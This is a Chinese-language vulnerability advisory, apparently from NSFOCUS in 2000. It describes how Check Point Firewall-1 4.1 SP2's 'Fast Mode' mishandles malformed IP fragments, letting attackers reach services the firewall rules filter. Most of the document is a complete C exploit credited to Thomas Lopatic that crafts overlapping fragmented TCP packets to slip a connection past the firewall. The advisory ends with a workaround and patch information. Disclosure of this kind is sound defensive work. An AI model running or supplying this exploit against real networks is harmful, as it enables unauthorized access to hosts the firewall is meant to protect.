发布日期：2000-12-25
更新日期：2000-12-25

受影响系统：

Check Point Software Firewall-1 4.1 SP2

不受影响系统：

Check Point Software Firewall-1 4.1 SP3

描述：

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Check Point的VPN-1和Firewall-1防火墙产品的"Fast Mode"选项重存在一个安
全问题，可能允许攻击者绕过访问控制的限制而访问到受限资源。"Fast Mode"
（快速模式）设置用来在TCP三方握手完成后关闭对TCP会话的报文分析，以便
应付那些对速度要求较高的服务。

如果快速模式被打开，远程攻击者可能访问受防火墙保护的主机上原本被过滤
的服务。与目标主机在同一个防火墙接口的至少一跳（hoop）距离的主机也可
能被访问到。

为了访问那些受限服务，目标主机上至少需要提供一个TCP服务可被攻击者正常
访问。由于防火墙（打开快速模式后）缺乏对畸形分片报文的正确处理，导致攻
击者可以访问目标主机上的任意服务（即使这些服务已经被防火墙规则保护）。

<*来源： Thomas Lopatic (thomas@lopatic.de)
         相关链接：http://www.dataprotect.com/fw1/
                   http://www.checkpoint.com/techsupport/alerts/fastmode.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Thomas Lopatic提供了下列演示程序：

#define _BSD_SOURCE

#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

struct pseudo {
  unsigned long source;
  unsigned long dest;
  unsigned char zero;
  unsigned char proto;
  unsigned short len;
};

/*
*      -------------------- config --------------------
*/

static char tap_device[] = "/dev/tap0";

static char local_ip_addr[] = "172.16.0.1";

static unsigned char dst_mac_addr[] = {
  0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
};

static int num_hops = 1;

/*
*     ------------------------------------------------
*/

static void hex_dump(unsigned char *buff, int len)
{
  int i, k;

  for (i = 0; i < len; i += k) {
    printf("%.4x: ", i);
    for (k = 0; i + k < len && k < 16; k++)
      printf("%.2x ", buff[i + k]);
    while (k++ < 16)
      printf("   ");
    for (k = 0; i + k < len && k < 16; k++)
      if (buff[i + k] >= 32 && buff[i + k] <= 126)
printf("%c", buff[i + k]);
      else
printf(".");
    printf("\n");
  }
}

int full_write(int f, char *data, int len)
{
  int res;

  while (len > 0) {
    if ((res = write(f, data, len)) < 0)
      return res;
    len -= res;
    data += res;
  }

  return 0;
}

static u_short calc_sum(u_short start, u_short *buff, int bytelen)
{
  u_long sum = start;
  u_short last = 0;
  int wordlen;

  wordlen = bytelen / 2;
  bytelen &= 1;

  while (wordlen--)
    sum += *buff++;

  if (bytelen) {
    *((u_char *)&last) = *((u_char *)buff);
    sum += last;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum = (sum >> 16) + (sum & 0xffff);

  return sum;
}

static void usage()
{
  fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n");
}

int main(int ac, char *av[])
{
  int t;
  unsigned char dgram[136];
  struct ether_header eh;
  unsigned char iph_buff[60];
  struct ip *iph;
  unsigned char tcph_buff[60];
  struct tcphdr *tcph;
  unsigned long la, va;
  unsigned short fp, op, vp;
  struct pseudo ph;
  unsigned short fid;

  if (ac != 5) {
    usage();
    return 1;
  }

  if ((va = inet_addr(av[1])) == (unsigned long)-1) {
    fprintf(stderr, "invalid victim address given\n");
    usage();
    return 1;
  }

  if (!(fp = htons(atoi(av[2])))) {
    fprintf(stderr, "invalid fastmode port given\n");
    usage();
    return 1;
  }

  if (!(op = htons(atoi(av[3])))) {
    fprintf(stderr, "invalid open port given\n");
    usage();
    return 1;
  }

  if (!(vp = htons(atoi(av[4])))) {
    fprintf(stderr, "invalid victim port given\n");
    usage();
    return 1;
  }

  la = inet_addr(local_ip_addr);

  fid = (unsigned short)getpid();

  iph = (struct ip *)iph_buff;
  tcph = (struct tcphdr *)tcph_buff;

  if ((t = open(tap_device, O_RDWR)) < 0) {
    perror("open");
    return 2;
  }

  /*
   *      -------------------- PACKET #1 --------------------
   */

  ph.source = la;
  ph.dest = va;
  ph.zero = 0;
  ph.proto = IPPROTO_TCP;
  ph.len = htons(20);

  tcph->th_sport = fp;
  tcph->th_dport = vp;
  tcph->th_seq = htonl(0x19711219);
  tcph->th_ack = htonl(0x19720201);
  tcph->th_x2 = 0;
  tcph->th_off = 5;
  tcph->th_win = htons(16384);
  tcph->th_urp = htons(0);

  tcph->th_flags = TH_SYN;

  /*
   *      Must be the "with SYN" checksum. The ACK will be overwritten
   *      by the second packet.
   */

  tcph->th_sum = 0;
  tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
     (u_short *)tcph, ntohs(ph.len));

  tcph->th_flags = TH_ACK;

  iph->ip_v = IPVERSION;
  iph->ip_tos = 0;
  iph->ip_id = htons(fid);
  iph->ip_ttl = 64;
  iph->ip_p = IPPROTO_TCP;
  iph->ip_src.s_addr = la;
  iph->ip_dst.s_addr = va;

  memcpy(eh.ether_dhost, dst_mac_addr, 6);
  memset(eh.ether_shost, 0, 6);
  eh.ether_type = htons(ETHERTYPE_IP);

  dgram[0] = dgram[1] = 0;
  memcpy(dgram + 2, &eh, 14);

  /*
   *      ---------- Fragment #1 ----------
   */

  iph->ip_hl = 5;
  iph->ip_len = htons(28);
  iph->ip_off = htons(IP_MF);
  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);

  memcpy(dgram + 16, iph_buff, 20);
  memcpy(dgram + 36, tcph_buff, 8);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #2 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(32);
  iph->ip_off = htons(1 | IP_MF);

  iph_buff[20] = 68;
  iph_buff[21] = 4;
  iph_buff[22] = 5;
  iph_buff[23] = (15 - num_hops) << 4;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 8, 8);

  hex_dump(dgram, 48); printf("\n");


  if (full_write(t, dgram, 48) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #3 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(28);
  iph->ip_off = htons(2);

  iph_buff[20] = 1;
  iph_buff[21] = 1;
  iph_buff[22] = 1;
  iph_buff[23] = 1;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 16, 4);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      -------------------- PACKET #2 --------------------
   */

  getchar();

  tcph->th_sport = htons(1024);
  tcph->th_dport = op;
  tcph->th_flags = TH_SYN;

  /*
   * But then again, the fragment with the checksum will be dropped anyway...
   */

  tcph->th_sum = 0;
  tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
     (u_short *)tcph, ntohs(ph.len));

  /*
   *      ---------- Fragment #1 ----------
   */

  iph->ip_hl = 5;
  iph->ip_len = htons(28);
  iph->ip_off = htons(IP_MF);
  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);

  memcpy(dgram + 16, iph_buff, 20);
  memcpy(dgram + 36, tcph_buff, 8);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #2 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(32);
  iph->ip_off = htons(1 | IP_MF);

  iph_buff[20] = 1;
  iph_buff[21] = 1;
  iph_buff[22] = 1;
  iph_buff[23] = 1;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 8, 8);

  hex_dump(dgram, 48); printf("\n");


  if (full_write(t, dgram, 48) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #3 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(28);
  iph->ip_off = htons(2);

  iph_buff[20] = 68;
  iph_buff[21] = 4;
  iph_buff[22] = 5;
  iph_buff[23] = (15 - num_hops) << 4;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 16, 4);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  close(t);

  return 0;
}




建议：

---

临时解决方法：

您如果已经打开了快速模式，NSFOCUS建议您立刻暂时关闭此项参数，并尽快
升级。

厂商补丁：
Check Point已经在Firewall-1 SP 3中解决了此问题。下载地址：

http://www.checkpoint.com/cgi-bin/download.cgi


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